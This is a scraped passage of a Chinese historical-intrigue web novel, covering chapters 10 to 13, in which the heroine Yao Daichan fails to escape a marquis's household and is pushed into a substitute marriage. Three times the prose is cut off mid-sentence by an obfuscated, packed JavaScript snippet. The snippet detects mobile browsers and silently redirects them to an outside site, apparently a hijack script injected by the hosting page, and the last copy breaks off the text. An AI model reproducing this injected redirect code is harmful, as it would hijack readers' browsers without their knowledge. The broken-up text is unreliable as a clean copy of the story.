转头，素灵带着东西过来，一眼望见姚黛蝉顶着脚上大包，还泪眼婆娑地要和她见礼。素灵见状哪里能应。说了些客套话便回去复命。 翌日，侯府寻的医婆来了。 姚黛蝉以羞涩为由，特意远远支开两个丫鬟。 ”小姐。”医婆自言姓陈，挎一只陈旧木箱，衣着简单，头上却插了支金银错的簪子。她面皮白净，生一对格外细的柳叶眉，笑时唇边一粒黑痣瞩目。 “劳烦陈医婆了。”姚黛蝉悄然打量完人，便轻轻点头，别过脸，任那微有粗粝的手将衣襟掀起摸索。 姚黛蝉被捏地一阵阵发颤，却久久听不到声儿，不由发问：”可是疑难杂症？” 陈医婆这才收回手，眼底掠过一丝赞叹：“娘子这身皮肉，真是极好的。我在京中行走多年，如娘子这般骨肉匀停、肤若凝脂的，一只手都数得过来。” 姚黛蝉没做声。 “娘子莫忧，这胀痛是女子发育之常。观娘子身形，应是早年饮食过于清简，以致发育稍迟。”陈医婆打开药箱，取出几包药材，“按时服汤药，月余便可见效。若实在疼得难忍，可用我这特制药膏外敷。” “多谢。”姚黛蝉系好衣裳，暗暗筹谋如何开口，那陈医婆唇边黑痣一动： “娘子这等好姿容，怎么住得如此之偏？” 大户小姐们找医婆多要隐藏身份，故而医婆凭衣着住所辨认地位。这侯中年轻女眷就两个已出嫁的庶女，而姚黛蝉未梳发髻，住用皆差。于陈医婆看来，便是那等不受宠的姬妾无疑了。 姚黛蝉未料这个医婆极会钻营。心下一喜，却颦眉，泫然欲泣道：“…府中不喜我，我能留在府中已是极高兴。” 陈医婆一见，还有什么不明，重又将药箱一掀，于最下取一红釉瓷瓶来，神秘道： “我这儿有秘制药膏，睡前细致涂抹于私密之处，不出半月便紧致如处子。娘子若想重获宠爱，不妨一试？” 姚黛蝉一愣，被她透出邪.淫的眼看得一恶，才体会她话中的意思，脸“唰”地浮片红霞。 她本想以不受宠的庶女自居，没想陈医婆直接联系到那层上去……未免恶心。 “医婆且慢。”姚黛蝉不接瓶，反从枕下摸出一方绣帕——帕上一只狮子狗毛色层次分明，连眼珠的光泽都栩栩如生。 她声音轻轻，“我横竖都到了这里，也不想再仰人鼻息活着。你在市坊里走动，想也是人缘极好的。且帮我瞧瞧，我这绣帕在京中绣坊能卖多少价？” 陈医婆本打算和以前一般，从这些失宠的姬妾手里捞银钱首饰。却未想这刚才还柔弱可欺的女子陡变嘴脸，同她说起生意来了。 不免心里嘀咕。 不过干她们这一行的，最讲究结缘。虽不大乐意，也还装模作样接过来一瞥，却瞬间被绣帕吸住目光，唇边黑痣跳了跳：“这绣法……” 乖乖！最低也得二十两！ 简单一只狗儿，竟是双面绣，同丹青无二致。便是京畿高手如云也绝不缺销路。慢慢炒炒，五十两一张都不愁。可比卖药出诊有赚头得多。 不过临时帮人替一回活，谁成想替出财运来了！ 陈医婆抓紧帕子，两眼精光不掩，“娘子想要多少？” 姚黛蝉瞧着她，慢悠悠伸出三指，莞尔一笑： “不论陈姐姐有本事卖多少，我都只要三成。” “只是我有一则要求，”不待陈医婆欣喜，少女语调悠悠一转。 “此事，姐姐必得守口如瓶。且须得三五日来一遭，刮风打雨也照旧。交易也不知能只一家。否则，我便都贱卖与旁人去。” 这算什么事儿？ 陈医婆心觉这娘子是个古怪的，却不妨碍做生意，一口答应：“包我身上！” 芬儿回来，见陈医婆笑晏妟离开，便同绛儿道：“这医婆看着靠谱。” 绛儿只看了眼，便道：“靠不靠谱，得等用了药才能定论。” 转眼九日。 因着脚伤和隐疾，姚黛蝉一直安生地待在礼香苑。崔云柯似忙于公务，鲜少回府，她竟得了段难得的清静时光。 陈医婆如约而至，这次直接从箱底摸出个鼓囊囊的荷包。 “二十五两！绣坊东家说，有位侍郎夫人极喜欢这花样，下回要定副芙蓉伴锦鲤的，娘子可得加把劲！” 又咕哝:“偏不让一家卖，否则便是三十两。那些官老爷的内眷，就好这双面绣的新鲜花样，有位夫人愿出四十两收一幅，我都没敢应承！” 一来二去，两人熟稔地极快。姚黛蝉常留陈医婆说话。陈医婆健谈，京中哪些好玩儿的地方都能讲得绘声绘色。 姚黛蝉顿时笑了，“下回我再绣些更厉害的花样，姐姐抬价就是。” 从苏州带来的帕子拢共二十来方，来一次释出三四方，两回下来挣了四十五两。 她又借陈医婆的手贱卖全部玉珠，如今手里已攥了九十五两。 够用得很了。 芬儿偶尔碎嘴，多时却是嘴严不惹事的。绛儿则木头人一般，一问三不知。故而姚黛蝉只知些众所周知的消息。譬如，大前日传来的快讯： 大爷崔云筏准备与永靖侯在半途汇合，一块回府。 侯府上下因此事越发躁动，下人们都牟足劲干活， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058065|194916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就指着两位爷回府那天的赏钱。 被孤立于热闹之外的姚黛蝉，则是相反的焦灼。 崔云柯这九天到底谋划什么，姚黛蝉一点也不想探究，连他的去向都干脆不问。这次不成，再想逃出侯府难如登天。如今一切顺利，天王老子来了都别想拦她！ 芬儿绛儿端着药进来，“娘子，该用药了。” 姚黛蝉接过，看着两人身上红袄子绿褶裙，夸了声：“从前竟未觉，你们的衣裳也顶漂亮。叫我想起以前的红围裙来。” 她说着便遗憾：“可惜我的东西都掉了江。不然拿出来，咱们一人一条，可美。” 芬儿笑:“娘子笑我们呢，我哪里有娘子的姿容，扎个红围裙，那不是烧锅炉的王婆么。” 姚黛蝉被她逗笑，对一旁弯唇的绛儿道：“你看她，净会胡说。” 绛儿应声，“我们不行，但娘子穿必定是好看的了。” 芬儿想象她束围裙的样，也深表认同，眼睛亮道：“我拿了衣裳来，娘子改一件穿上看看！” 她这一提，姚黛蝉犹豫：“我只随口一诌，却破费了你的衣裳……” 芬儿嗐了声，“这有什么呢！” 如此，姚黛蝉也不好说什么：“不能白拿你的，我给咱们三都做一件。” 芬儿一听还得了，高兴地连连叫好，连忙回去拿衣裳。 绛儿一旁看了会儿，还帮芬儿搭了把手，将厚厚一叠旧衣送进去。 姚黛蝉看得欣慰：“若是绛儿你早早来了就好。芬儿这丫头总是大手大脚。” 绛儿倏而抬头看她眼，姚黛蝉面色无异，绛儿顿了顿，复又低头：“若早知娘子在，绛儿定会抢着来伺候。” 芬儿噘嘴：“绛儿姐去岁末才来我们府里，伺候人的差事哪里轮得到她，当然是先紧着我了！” 姚黛蝉一哂：“是是，你才是真正的老人。” 又三日，围裙还没做好，陈医婆在傍晚到来。 芬儿绛儿再度被支开，这回走得比以往还远。 “围裙还没见影儿，又不舒服了。”芬儿无聊地拨花丛，“娘子这病什么时候是个头。大爷回来就这两天了，万一……” 绛儿一径看着池水：“女子的病症本就不同。” “和你说话顶没意思。”芬儿噘嘴。 今日却更晚了，直到天色挂黑，陈医婆也没出来。 芬儿绛儿感觉不对，可姚黛蝉明令不许她们打扰，便只好耐着性子再等。 这一等，等到府邸亮灯。 芬儿耐不住，半途折了回去，却见门自内关着，油灯也没点，陈医婆不见了。 “怎地走也不说一声？” 芬儿抱怨着敲敲门，“娘子，用饭了！” 连敲了几下，里头才传来姚黛蝉懒怠的回话：“我今日累得慌，不吃了，你们玩儿去吧，让我睡一觉。” 虽懒怠着，但依旧清脆如黄鹂鸟。芬儿不疑有他，蹦蹦跳跳走了。 绛儿却立在廊下，又看了紧闭的房门一眼。 礼香苑重归寂静，主卧和院墙中的夹缝里，才慢慢闪出一个挎着医箱的人影。 夜露深重。十里外的官道上，一支百人队伍沉默行进。 火把照亮为首男子刚毅的脸，他抬头，望向远处皇城模糊的轮廓，蓦而一挥手。 不久，主院便被一声高喝炸响： “夫人，老夫人——侯爷大爷回来了！！！” 11. 第 11 章 何氏心心念念了许久，一下盼回了两个好消息，高兴地不知怎么是好。被素心提醒了，才坐在镜前精心梳妆，又吩咐道： “侯爷信中说了不可声张，简单做上一桌菜便行。横竖他就爱酒。” 素心又问可还要带谁去门前迎接，何氏比划簪子的手一顿，“除了采莲，叫上礼香苑的吧，孽畜不在，也不是我们不唤。旁的算了。” 素灵立即下去通传。 不一会，府门处已聚满人。老夫人居中，何氏紧傍，何采莲侍立其后，再外层是密匝匝的丫鬟婆子，一齐焦灼等待府邸的两位男主人。 急报甫一传入太极侧殿，隆景帝倚在榻上，望着有条不紊落子的崔云柯，看好戏道： “我道崔大人这几日为何不避着入宫，原是等着这块。” 永靖侯府那档子事儿，早在安陆潜邸时就抖落个门清。然比起皇家内闱的波诡云谲，崔家这点后宅琐事不值一提。 崔云柯自若拢好黑子，“要事在急。时候不早，臣告辞。” “欸，”隆景帝狭长的狐眼上勾，“崔持玉，你父兄归家一喜，兄长成婚又是一喜。你不去迎这临门双喜，却管漕运那等小事做什么？寥寥败寇，何足轻重？” 隆景帝做藩王时就爱抵赖，成了皇帝后这癖好还不减反增。分明是他要太子残党死无葬身之地，如今却成崔云柯的意思了。 崔云柯理理大袖，躬身告退，和大监张茂点了头，便由小黄门引着往外走。 张茂入内时，隆景帝摩挲着白子，轻叹一声：“朕这故友什么都好，就是太爱框着自己。他那点家事，竟拖到今日才了断。” 张茂颔首：“今时不比往日，老侯爷孝期已过，崔大人必不会手软。” 隆景帝百无聊赖丢了白子，“家宅不宁，朝堂难安。” 马车停在光华门外，崔禄远远见崔云柯身影，忙跑上前。 崔云柯看他急迫，沉声：“何事。” “二爷，那老妈子死了。” 崔禄神色凝重，抬手露了露袖口沾血的护腕：“逮住一个服毒自尽的小子，查到他是狱中临时补的杂役，定是残党安插的死士。” “那老妈子身子不行，下头原想养两天再拷问，没想残党下手这么快，显是怕她泄了姚娘子的身份。” 残党急于灭口，反倒坐实了礼香苑与太子残党的关联，这枚饵比预想中有用。 崔禄实在奇异，“礼香苑那位到底是什么来历，值得这样犯险。” 这些日子，崔禄一直随崔云柯歇在府衙。下头报上来的消息日日相同，无非是她吃了什么，医婆又开了什么药。一切正常。 因二爷那次之后便从未提及此女，崔禄不敢妄自揣测，是而除非姚黛蝉有额外举动，不然不会上报。 就这么一晃十来日，连侯爷都归了家。崔禄都把人忘了，居然出了事儿。 崔云柯定定直视侯府方向，久违地想起那双烟蒙雨掩的杏眸。 一切正常，反而才不正常。 他凤眼微眯，薄唇平然一启： “传令下去，擒人。” - “娘子？！” “这可怎么是好？”芬儿急得直跺脚，可横敲竖敲，房里头的人就是不为所动。 “侯爷大爷回来了，主院点名娘子去接，娘子醒醒啊！” 芬儿只差跪在地上求人，见绛儿从府门赶回，忙问：“怎么样了？” 绛儿面色也不太好：“菜都开始往上端了，夫人还问我娘子何时到。” “完了完了！完了！” 芬儿哀叫几声，六神无主地原地跳了起来。 绛儿看不下去，“罢，你先替我，我回房拿斧子把门劈了。问起来，就说我在为娘子梳妆。” 芬儿颤着唇，点头，“好，多谢你绛儿姐！” 见人影消失，绛儿面上顿时显出不符年纪的整肃。她绕至卧房后窗，腰间抽匕首要劈，窗户却自发一晃，“小姐？” 月色洋洋洒洒，房中空无一人。 绛儿收刀，跳进去一看，床上凌乱塞着两套裁剪过的丫鬟衣裙。 果然！ 绛儿立即跑出去，循着记忆里身段，四处穿梭寻了一阵，终于在假山后寻到一个相似的影子。 此时府中下人都在忙碌，躲在这里的约莫便是她！ 绛儿伸手一搭她肩：“黛蝉小姐——？！” “啊！我不是故意偷懒的！” 被突兀拍了一下的小丫鬟惊叫一声，慌忙抱头告饶。 绛儿一愣，遂转身就跑。孰料才跑出两步，一列瞩目的火把便轰然将她围住。 “王二叔！” 绛儿怔住，眼前执棍的领头男子，不是府中管仆役的王二又是谁。可他是侯夫人提拔上的人，为何要抓她？ 麻绳缠上腕，绛儿犹咬牙挣扎，眼有狠戾：“你们一早就知我来历！” 王二哼笑：“到底年轻，太耐不住。” “这侯府谁是主子你都分不清，还敢二爷的眼皮底下动作？到了二爷面前老实交代，说不准能留个全尸！” 侯府后侧门，姚黛蝉拎着药箱，气喘吁吁跑入街巷。 她这几年从未出过门，虽知晓自己体力差，却没想到不过跑了半里路就开始粗喘。胸口的气像被抽干，腿也沉得抬不起，可她不敢停。 手里的药箱极重，她越发拿不稳，身形都佝偻。然再支撑不住她也不敢放下。 路上行人不多。 陈医婆并未婚配，与她相谈这几回，姚黛蝉知道了她住西头广平巷左拐进里的夹缝小栋。她还有个好友，与她是对门。 与江游玩了四年，她最善于分辨南北。眼下抬头看了看月，又借着套话得知的算命铺做地标，称得上顺利地找到了方向。 发现她不见，侯府定要问责陈医婆，她的住所绝不安稳。 姚黛蝉腾手，拔出头上金错银的簪子。 以此物为信，求她好友收容一晚，翌日再寻那些有 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“姚小姐打人的手法倒是如出一辙。只是，不知姚小姐可曾听过，小黠大痴?。”他似有若无嗤了声。 火光噼啪，巷口的穿堂风掠过姚黛蝉汗湿的后颈，激起一片战栗。 她死死盯着那点影绰的轮廓，青年的双眼明明匿在马车里，却仍旧锐若剥皮拆骨刀，隔着阻拦也能将人从头至尾逐一刮过。远比码头更初见寒冽迫人。 姚黛蝉喉间涌上腥甜。 他是故意的！ 面其悲怒，车轮却仅仅只是碾过青石板路，发出咯噔咯噔的声响。那车帘利索落下。连一息都吝于停留： “姚小姐收拾一趟，还来得及。” 等候在旁的崔禄适时拱手，压着声儿：“侯爷归家，福寿奉劝一句，小姐还是莫要耽误。” 她心一抖，霎时明白为何崔云柯会掐在这时来逮。 永靖侯和崔云筏提前回来了！ 如此，一切意图都成了徒劳。 逃无可逃。 她煞白着脸，狠狠瞪了好整以暇依在车边的崔禄眼。沉重地登上车。 哟。恼羞成怒，气急败坏了！ 崔禄眉一挑，这姚小姐不仅滑头大胆，还藏股凶劲。想着老妈子和医婆头上血淋淋的伤，崔禄似笑非笑。莫说闺秀，老百姓家的姑娘也没几个有这狠手。 也难怪敢一再和二爷玩心眼。 “走吧。”崔禄悠悠一拍马，“姚小姐，您可千万坐稳了。莫要等回了侯府，突然又这里伤，那里疼的……小的可担不起啊。” 姚黛蝉胸膛气得大力起伏，好会儿才冷静下来。她松开下唇，重重抹了眼，指尖抹到唇边一点粗糙。立即将模仿陈医婆黏上的黑痣剥下，拨开帘子——不远处一群火把在夜中瞩目地燃烧，正往侯府方向。 她深吸一口气，把软垫当成崔云柯崔禄，恨恨捶了数十下。 12. 第 12 章 姚黛蝉一入侯府便觉氛围诡异，礼香苑房门洞开，芬儿、绛儿皆不在。但她无暇细究，换衣理髻后往府门去，半路被急匆匆蹿出的素灵截住。 “您可算来了！夫人找您许久了！” 姚黛蝉点点头，不疑有他跟去花厅。甫一入内，一下被室内沉沉的压抑惊得将头低几分。 待素灵知会过，她才敢略略抬眼，一抬，便见正中坐一个不怒自威的男人。虽弥厉风霜，一双眼却有肖似崔云柯的锐利。 姚黛蝉登时猜出这是永靖侯崔朔。 他已回来了？ 右侧一位面色凝峻的老太太，看她入内，眼神瞬时有几分考量。 是福绵堂的老封君。 而永靖侯左手边软软扶靠把手的，正是何氏。 她妆点地十分华贵，面色却异样灰暗，仿佛浑身的精气都被抽走。看到姚黛蝉慢慢走近，方才一寸寸抬起眼皮。 姚黛蝉暗暗环视，不见第四个人。 “你到府中是何日？”何氏终于发话，嗓子沙哑地出奇。 出乎意料，何氏没责怪她为何晚到，永靖侯和老夫人也未口头关照，反而都在等待这风马牛不相及的问题。 姚黛蝉望着自己的脚尖，一五一十道：“回夫人，三月初七。” 何氏尜笑了声，伸头看她：“你可曾见过一个人？” 姚黛蝉顿。她被关着，哪里见过人？ “在船上不敢乱跑，也只遇难那日才下了板。” 何氏身子一晃，指甲在漆面上划出好长一段刺耳的声响，才似哭似笑地指着边上黑靴道：“你可见过此物？” 姚黛蝉顺着她所指方向一看，见木盒里摆着一只黑靴。目光有一时凝滞。 男人的靴子…… 姚黛蝉瞳仁倏而一颤，猛然想起将军柱边那只沾血的黑靴。 不会那般巧合吧？！ 当时她信手一指，打的就是那里应该没人的主意。 后来查视…也无尸身。 难道？ 她低着头，竭力控制自己的震惊，好会儿才露出恰到好处的茫然：“……并未。” 何氏脂粉斑驳的脸上刹那又黯淡半数，她呆呆瞪了姚黛蝉一会儿，忽而猛将那黑靴抱在怀中，连连哭了几声“儿”。 蓦地，指着惊讶不已的姚黛蝉便是尖声一唾： “你这丧门星！！！” 姚黛蝉眼前一眩，通身的血都冷透。 她明白了，什么都明白了！ “兄长遇事”，崔云柯迎亲…… 为何崔云柯会死盯着她，为何他说为时过早……！ 当日无意一指，死的竟是崔云筏！ 何氏冲来便要扭打姚黛蝉，“你这丧门星，克夫的贱人！你一来我儿便没了！我就不该允下这门婚事，不该啊，不该！！！” 老夫人蹙眉：“何氏！” 永靖侯呵道：“还不快拉开夫人！” 素灵素心慌忙上前将何氏拦住，然脖颈一痛，姚黛蝉下意识后退一步，直觉喉头下划出条火辣辣的口子。 何氏长甲里渗着血，不住尖叫哀嚎，姚黛蝉死死将头低着，唯恐再触怒了何氏。还是老夫人疲惫长叹：“润香，送姚娘子回去吧。” 姚黛蝉匆匆福身绕出花厅。还未及松一口气，眼神一差，险些撞到月影里站着的人。那人却早有预料一般，不着痕迹移步。 月色勾勒出清晰的轮廓，是崔云柯！ 姚黛蝉心一宕，立即换个方向跑开。 少女背影急遽，崔云柯收回视线，廊风卷动比甲下摆，凤眸中一闪而过的寒意，被浓重夜色掩盖。 何氏的哭叫还是从前那般刺耳。 “我儿没死！我儿好好的！世子之位是骄儿的，谁都别想给崔云柯那孽畜！” “那是你的大儿！骄儿如何孺慕你，敬佩你，你都看在眼里啊！他继承你的志向，发誓要做大将军，撑起侯府！此番蒙难什么都没了，你怎能这般狠心待他？” “够了！” 永靖侯拨开来抱他腿的何氏，一拍桌面，瓷器噼里哗啦摔了个干净。 长子遇难，骤见匿名送来的黑靴，他岂能不心痛？但人死不能复生，一路风尘仆仆，他早已强压悲痛，决意向前。 何氏这般胡搅蛮缠，更添永靖侯烦躁，他冷眼毫不掩饰。何氏一怔，忽的阴笑起来：“你心里还念着薛若愚那贱人，是不是？” “何氏，你疯了！” 尘封多年的往事，本早就默契地不去提及。可何氏竟癫狂了般，翻起了旧账。 “你以为你藏得好？我实则都看着呢！薛若愚不喜你，为了躲你，连姑子都愿做！你何其失败！” 永靖侯凤眸含霜，手背青筋迭起，俨然已忍到了极致。 老夫人看不下去，眼见一片闪动的衣角，正是立在暗处不知看了多久的崔云柯，忙道：“持玉来了！” 青年举步而入，一派清冷雅致，超脱尘俗，恍若花厅乱象全与他无关。 他看也未看失魂落魄瞪来的何氏一眼。只从容地拜过祖母，又对着面色陡然复杂的永靖侯拱手，不咸不淡唤了声“父亲”。 “陛下急召，故而晚归。未曾同迎，还请父亲体谅。” 三年未见，本该是父慈子孝的场面。永靖侯却只大力捉住膝头，定定注视这个风姿绰约的儿子，隔了许久才沉声：“持玉。” “…你如今，与你大哥一般高了。” 崔云柯不置可否。 永靖侯扶额，余光望着那只黑靴，一时沉寂，“你大哥他……” “你高兴得很吧！” 何氏毫无预兆一扑，被素灵素心齐齐拦腰抱住，犹还目眦欲裂地想要再扑上去。 “何氏！” 老夫人永靖侯齐齐一喝，何氏愣了愣，旋即鱼一般扑腾起来，“我说错什么了！你们要这样堵我的嘴！你大哥死了世子之位就是你的！是你怀恨在心！是你干的！” 她泪混着脂粉淌下：“拂月塘水浅……我之后何曾再害过你？若不是你太会讨老侯爷欢心，我怎会……” 何氏剜着岿然如松的青年，仿佛又看见了拂月塘里那双比水还冷的眼睛。 十几年了，就因老侯爷一句“此子胜我”，她竟怕得把六岁的孩子推下去。这只有他们两人知道的秘密像根刺扎在她心里。好不容易熬到骄儿成家，刺眼看要化了，为何骄儿却没了？！ 为何，他还好好的？！ 崔云柯逡着何氏狰狞的脸，扳指不急不缓一转，面上仍波澜不兴，仿佛听的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058067|194916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是旁人的故事。 “住嘴！”老夫人再受不住，“夫人犯了癔症，快快灌剂药镇上一镇！” 素灵素心大惊失色。夫人身子算不上顶好，强行灌药镇住怕是要伤了根本。她们慌忙跪地：“老夫人，侯爷，这不成啊——” 永靖侯耐心尽失：“带下去！” 人声堪堪匿迹，老夫人揉着太阳穴，此时也疲惫至极，：“持玉…你莫怪她胡言乱语。你大哥……没了。” 众人不约而同将何氏的哭嚎掩饰作胡言乱语，崔云柯却也不在意。仅撩袍坐下，“不怪乎。” 语气中的遗憾，淡得快要察觉不出。 他自幼冷情，也挑不出错。老夫人定定看着儿子，道：“可知到底是谁干的，又是谁不辞千里，将这物送予你？” 永靖侯别过脸：“约莫……是在南方流窜的白莲教乱党。不知骄儿南下何事，竟与逆党遇上，又隐瞒身份上了那艘商船，从而遭祸。” 黑靴送到大营时，永靖侯只以为是边夷作祟。却未料竟是长子遗物，心中大骇。抓了来送东西的人一番审问，竟也说不出个所以然。永靖侯猜测是有人警告，便只得暗中求人打探。 “此事，由临清府衙上报入京，文书……”永靖侯看向崔云柯，沉声：“在持玉手上过了遍。” 老夫人震：“持玉，当真？” 崔云柯淡然颔首：“孙儿听闻江匪出没，疑心是乱党，便要来了文书查看。然其上并无兄长名字。故而此事明面上已结案，过了圣上的眼。” “乱党这几年本已不成气候，即便挑衅，也该截杀关键要员。至于为何出动多人冒险作乱，暂无人知。”崔云柯点到为止。 崔云筏当差在京，缘何藏匿身份南下多日，还遇上行踪不定乱党？ 老夫人直骂：“糊涂，糊涂！” “母亲缓缓。”永靖侯斟一盏茶送去，“儿子按下回府才表，便是想寻个稳妥的法子。” 崔云柯马上成婚一事，府里并未刻意隐瞒。离初三只七天，传出去定要闹得满城风雨。 永靖侯祖上只是个小旗长，救下开国太祖才获封爵位。一百多年，恩情早已耗尽。新帝隆景即位时，侯府作壁上观。既无旧情也无现恩。此事若被恶意攻讦为勾连贼人，纵有崔云柯这个正火热的天子近臣在，侯府也难保不削爵。 永靖侯揉动眉心，“若无婚事，还能瞒上好一阵。可婚期已定，镇国公府那处也难瞒。” 当务之急，是如何将崔云筏已死之事掩过。 老夫人不知第几次叹息，起身抚了抚儿子结满灰土的发，慢慢看向事不关己喝茶的崔云柯。 “持玉。” 茶水一漾，崔云柯眼睑微抬。 “姚家的姑娘来这一趟不易，我们不能毁约。无论从前恩怨如何，”老夫人神色庄严，“你代你大哥，将婚仪延续下去。” 崔云柯一刹板滞。 他剑眉重重下压，一字一句：“祖母可知自己在说什么？” “我人老，却未傻。”老太太一眼不错盯着崔云柯，恍惚又现当年沙场斩敌的气势： “往后你便是侯府的天。你若还当我是你祖母，还记得你祖父——” 她一拍案，掷地有声： “就将此事应下！” 13. 第 13 章 崔云柯面色沉冷，“荒唐。” 本朝并非没有弟代兄娶的先例，可那都是市井小民或乡野土财的无奈之举。勋贵之门若行此事，无异于将整个家族架着供世人咀嚼。 “祖母可曾细思？” “你的本事，定不会暴露人前。”崔云柯窒，老夫人深深看他，气势已然不具:“算祖母求你。持玉，祖母是要入土的人了。侯府百年光荣焉能毁于一旦？不说旁的，届时连你、你母亲也要受指摘啊。” “此事了，祖母定为你求娶一位身份贵重的好女。” 崔云柯平平看向永靖侯，“父亲以为如何？” 永靖侯始终缄口，是默认。 老夫人紧迫的逼视中，青年垂目，少顷提袍起身。 “孙儿知了。” 老夫人颓叹：“侯府总是亏待持玉。” 永靖侯视着那已经溶于夜色的背影，喉头动了动，到底未语。 …… 老夫人雷厉风行。立即着人放出永靖侯府长子水土不服大病一场的消息，旋即通知镇国公家，将厉害关系说清，要他们帮着一道遮掩。再将赏钱照旧发下去，先瞒住府里的嘴，又封了揽芳阁和主院，杜绝一切意外。才将府里的裁缝招来。 五套婚仪吉服，最后一套尚未完工，便直接照着崔云柯尺寸改动。 “这绛儿，嘴倒是格外硬。好在替换了她寄出去的信物，不枉白白埋伏一阵。”从地牢中出来，崔禄飘在天上的魂才慢慢回体。崔禄忍了又忍，望着案前分明覆了层阴郁的青年片刻，忍不住道：“爷，代婚…可要上禀陛下。” 二爷连掀全帘子看上一眼都觉得浪费时间，难不成还真要委屈自己，替崔云筏迎娶了她？ 崔禄认为绝无可能。而隆景帝定是愿意处理这等小事的。随便扯个借口就能掩盖崔云筏之死。 “不必。” “陛下乐见其成。侯府自乱阵脚，丑闻缠身，才更显得我安分，需要倚仗圣恩。况且……”他顿了顿，“将她放在明处，更妥帖。” 事已定局，老夫人将家族存亡与身后名都压了上来，崔云柯怎么也要顾虑一二，便暂且捏着鼻子忍下。正好，绛儿受白莲教之命埋伏三月余，却为了一个女人贸然暴露。也可通过她揪出南舵主的行踪。 烛火哔剥间，崔云柯声音极轻，“一场戏罢了。” 崔禄颔首。确实只是一场戏。只是那姚小姐不安于室，谎话连篇。 与她拜堂，真是污了冰清玉洁的二爷。 他道:“二爷受此辱，往后定要讨回！” 崔云柯未语，崔禄猜想他这是要缓缓，便识趣告退。 人走了，崔云柯还攥一方染血的素白帕子，一动未动。 火光点在他眉梢，顺势照亮了帕子上的夏蝉花样，也在眉眼投下化不开的阴翳。 - 晨光熹微。姚黛蝉被光线晃醒，神思尚在朦胧处，就听脚步声在窗边奔过，门被敲响： “娘子，吉服已成，请您穿上，看看合身否。” 姚黛蝉以为自己听错了，“吉服？” 逆着晨光，两个陌生丫鬟的身影宛如剪影，手中托举的，是一抹厚重到几乎令人窒息的正红。那套吉服被平整托着，金线凤纹栩栩如生。 姚黛蝉愣神，“不是出事了么，为何还要试穿吉服？” 丫鬟看她眼：“娘子是睡糊涂了？府中并无事。” 神色之理所当然，好似姚黛蝉还没睡醒。 姚黛蝉满心古怪地问了些话。丫鬟却道何氏和何采莲昨夜受了风寒，正修养。随后便催促着姚黛蝉试吉服。 吉服甚重，姚黛蝉顾不得去看镜子里的姿容，听见合身二字便褪下来，等人走了，满脑子还都是不对劲。 而八角亭下人流如织，下人们见她纷纷道好。 全部都是平常模样。 姚黛蝉越发感到惶惶。 她不觉望向玉磬院的方向。 崔云筏，张妈妈，绛儿，陈医婆…昨夜，她思忖了可能的所有处境。 最坏的结果无非是死，短暂的愤懑不屈后，竟出离地平静。 若崔云柯真要灭口，她拼着最后一口气，也要将“崔云柯早知兄长死讯”这事嚷得人尽皆知。纵不能伤他根基，也要撕下他一层伪善的皮。 想通这个，姚黛蝉摸摸颈上伤口，思及何氏的癫狂，那只浸血的黑靴，冷冷扯唇。 她指了路不假，可杀人的又不是她。 不过他死了，她最发愁的婚事也算告吹。一个丧门星，何氏不会容忍。 末了给那位无缘的“未婚夫”供一盏长明灯，也算仁至义尽。 姚黛蝉异常轻松地入眠。可早上这一切，又让她惘然。 “姚娘子，福绵堂有请。” 却是润香从游廊下行来，微笑请她移步。 …… 福绵堂清净古质。 姚黛蝉到地方时，除了老夫人，永靖侯也在。 他着一身常服。眉宇间厉气难藏，在姚黛蝉见礼时冷然将她审视。 “坐下吧。” 老夫人眼中还有星零倦色，却不见昨日的悲愁。姚黛蝉顺之坐在矮凳上，听她说了些关于姚家和侯府的祖上情谊。 “老头子一直感念你曾姑祖母。当年姚家出京，我们侯府并未帮上什么忙。他心有歉疚，我便做主，重新缔结两姓之好。” 润香呈来一只紫金檀木盒，里头一对澄透的半点杂色也无的蓝田玉镯。 老夫人笑笑，“这给大孙媳妇的见面礼，我早备下了。这时才得空给你。” 姚黛蝉一惊。 崔云筏已死了，这是何意？ 老夫人轻哂：“昨夜委屈你了。还有几日，安心待嫁。侯府必不会亏待你。” 永靖侯接后，沉沉开口：“我在边塞多年，终能得见喜事，不枉快马加鞭赶回。惜翎，你只管在府中好生过日子便是，旁的，无需担心。” 姚黛蝉呆呆看着玉镯，手脚冰凉。 他们这是要她守活寡！ 此番是直接通知。她不必想就知道，根本没有拒绝的份。 姚黛蝉一颗心揪痛起来，若真入了崔家门，何时才能回昭文？ 她头一次如此无措。 见她惶然，老夫人也不欲多语。命人送她回去。姚黛蝉坐在院中，看着墙角的藤蔓呆了许久，突然想起娘说过，女子如萍，水推到哪儿便是哪儿。 可她不是萍，她是人，有手有脚，会疼会恨。 但眼下，这汪浑水已将她彻底淹没。 她只能先顺着水流，攒着力气，等一个靠岸的机会。名声、活寡、长媳之位……都是虚的，唯有活着，和活着才有可能抓住的东西，是真的。 守寡固然难听，但无论如何， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 